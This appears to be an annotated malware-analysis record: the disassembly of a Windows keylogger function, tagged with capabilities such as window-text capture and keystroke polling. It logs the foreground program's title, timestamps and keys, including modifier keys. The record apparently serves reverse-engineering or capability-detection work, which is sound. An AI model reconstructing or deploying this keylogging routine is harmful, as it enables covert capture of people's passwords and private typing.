Function at 0x14000b500
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x328
mov rax, qword [0x14001d038]
xor rax, rsp
mov qword [rsp + 0x310], rax
cmp dword [rsp + 0x338], 1
je 0x14000b536
cmp dword [rsp + 0x338], 2
jne 0x14000b53d
xor eax, eax
jmp 0x14000bbfb
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x30], 0
je 0x14000b6dd
mov r8d, 0x100
lea rdx, [rsp + 0x210]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rax, [rsp + 0x210]
lea rcx, [0x14001d7e0]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x14000b5ac
inc rax
test dl, dl
jne 0x14000b599
xor eax, eax
jmp 0x14000b5b1
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000b6dd
lea rdx, [rsp + 0x210]
lea rcx, [0x14001d7e0]
call fcn.140005f00
xor ecx, ecx
call fcn.140012350
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x1c0]
call fcn.1400121b0
mov qword [rsp + 0x38], rax
mov r9, qword [rsp + 0x38]
lea r8, [0x140017080]
mov edx, 0x40
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov rax, qword [rsp + 0x330]
movzx eax, byte [rax + 0x20]
test eax, eax
je 0x14000b684
mov rax, qword [rsp + 0x330]
add rax, 0x48
lea rdx, str._PROGRAM:
mov rcx, rax
call fcn.140001a30
lea rdx, [rsp + 0x210]
mov rcx, rax
call fcn.140001a30
lea rdx, str._____TIME:
mov rcx, rax
call fcn.140001a30
lea rdx, [rsp + 0x1d0]
mov rcx, rax
call fcn.140001a30
lea rdx, [0x140017084]
mov rcx, rax
call fcn.140001a30
mov rax, qword [rsp + 0x330]
mov byte [rax + 0x20], 0
jmp 0x14000b6dd
mov rax, qword [rsp + 0x330]
add rax, 0x48
lea rdx, str._n_n_PROGRAM:
mov rcx, rax
call fcn.140001a30
lea rdx, [rsp + 0x210]
mov rcx, rax
call fcn.140001a30
lea rdx, str._____TIME:
mov rcx, rax
call fcn.140001a30
lea rdx, [rsp + 0x1d0]
mov rcx, rax
call fcn.140001a30
lea rdx, [0x140017084]
mov rcx, rax
call fcn.140001a30
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
jne 0x14000b726
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
jne 0x14000b726
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
jne 0x14000b726
mov dword [rsp + 0x24], 0
jmp 0x14000b72e
mov dword [rsp + 0x24], 1
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x14000b851
mov rax, qword [rsp + 0x330]
add rax, 0x10
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x338]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
call fcn.14000ecf0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x330]
add rax, 0x10
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
call fcn.14000eb20
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14000a6c0
movzx eax, al
test eax, eax
jne 0x14000b851
mov rax, qword [rsp + 0x28]
and rax, 0xffff
movzx eax, ax
cmp eax, 0x419
jne 0x14000b800
mov rax, qword [rsp + 0x330]
add rax, 0x10
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x338]
mov rcx, qword [rsp + 0x60]
call fcn.14000a7e0
mov rdx, rax
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
jmp 0x14000b84c
mov rax, qword [rsp + 0x28]
and rax, 0xffff
movzx eax, ax
cmp eax, 0x409
jne 0x14000b84c
mov rax, qword [rsp + 0x330]
add rax, 0x10
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x338]
mov rcx, qword [rsp + 0x68]
call fcn.14000a7e0
add rax, 0x20
mov rdx, rax
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
jmp 0x14000bbe4
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x338]
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x70]
call fcn.14000ecf0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x78]
call fcn.14000eb20
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call fcn.14000a6c0
movzx eax, al
test eax, eax
jne 0x14000b966
mov rax, qword [rsp + 0x28]
and rax, 0xffff
movzx eax, ax
cmp eax, 0x419
jne 0x14000b913
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x338]
mov rcx, qword [rsp + 0x90]
call fcn.14000a7e0
mov rdx, rax
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
jmp 0x14000b961
mov rax, qword [rsp + 0x28]
and rax, 0xffff
movzx eax, ax
cmp eax, 0x409
jne 0x14000b961
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x338]
mov rcx, qword [rsp + 0x98]
call fcn.14000a7e0
add rax, 0x20
mov rdx, rax
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0x20
jne 0x14000b9ad
lea rdx, [0x1400170c0]
lea rcx, [rsp + 0xc0]
call fcn.140006820
nop
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0xc0]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0xd
jne 0x14000b9f4
lea rdx, [0x1400170c4]
lea rcx, [rsp + 0xe0]
call fcn.140006820
nop
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0xe0]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 8
jne 0x14000ba3b
lea rdx, str._BACKSPACE_
lea rcx, [rsp + 0x100]
call fcn.140006820
nop
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x100]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0x12
je 0x14000ba5f
cmp dword [rsp + 0x338], 0xa4
je 0x14000ba5f
cmp dword [rsp + 0x338], 0xa5
jne 0x14000ba9c
lea rdx, str._ALT_
lea rcx, [rsp + 0x120]
call fcn.140006820
nop
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x120]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0x10
je 0x14000bac0
cmp dword [rsp + 0x338], 0xa1
je 0x14000bac0
cmp dword [rsp + 0x338], 0xa0
jne 0x14000bafd
lea rdx, str._SHIFT_
lea rcx, [rsp + 0x140]
call fcn.140006820
nop
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x140]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 9
jne 0x14000bb44
lea rdx, str._TAB_
lea rcx, [rsp + 0x160]
call fcn.140006820
nop
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x160]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0x14
jne 0x14000bb88
lea rdx, str._CAPS_
lea rcx, [rsp + 0x180]
call fcn.140006820
nop
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x180]
call fcn.14000a1e0
jmp 0x14000bbe4
cmp dword [rsp + 0x338], 0x11
je 0x14000bbac
cmp dword [rsp + 0x338], 0xa2
je 0x14000bbac
cmp dword [rsp + 0x338], 0xa3
jne 0x14000bbe4
lea rdx, str._CTRL_
lea rcx, [rsp + 0x1a0]
call fcn.140006820
nop
lea rdx, [rsp + 0x1a0]
mov rcx, qword [rsp + 0x330]
call fcn.14000eea0
nop
lea rcx, [rsp + 0x1a0]
call fcn.14000a1e0
mov rax, qword [rsp + 0x330]
add rax, 0x48
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.140013050
add rsp, 0x328
ret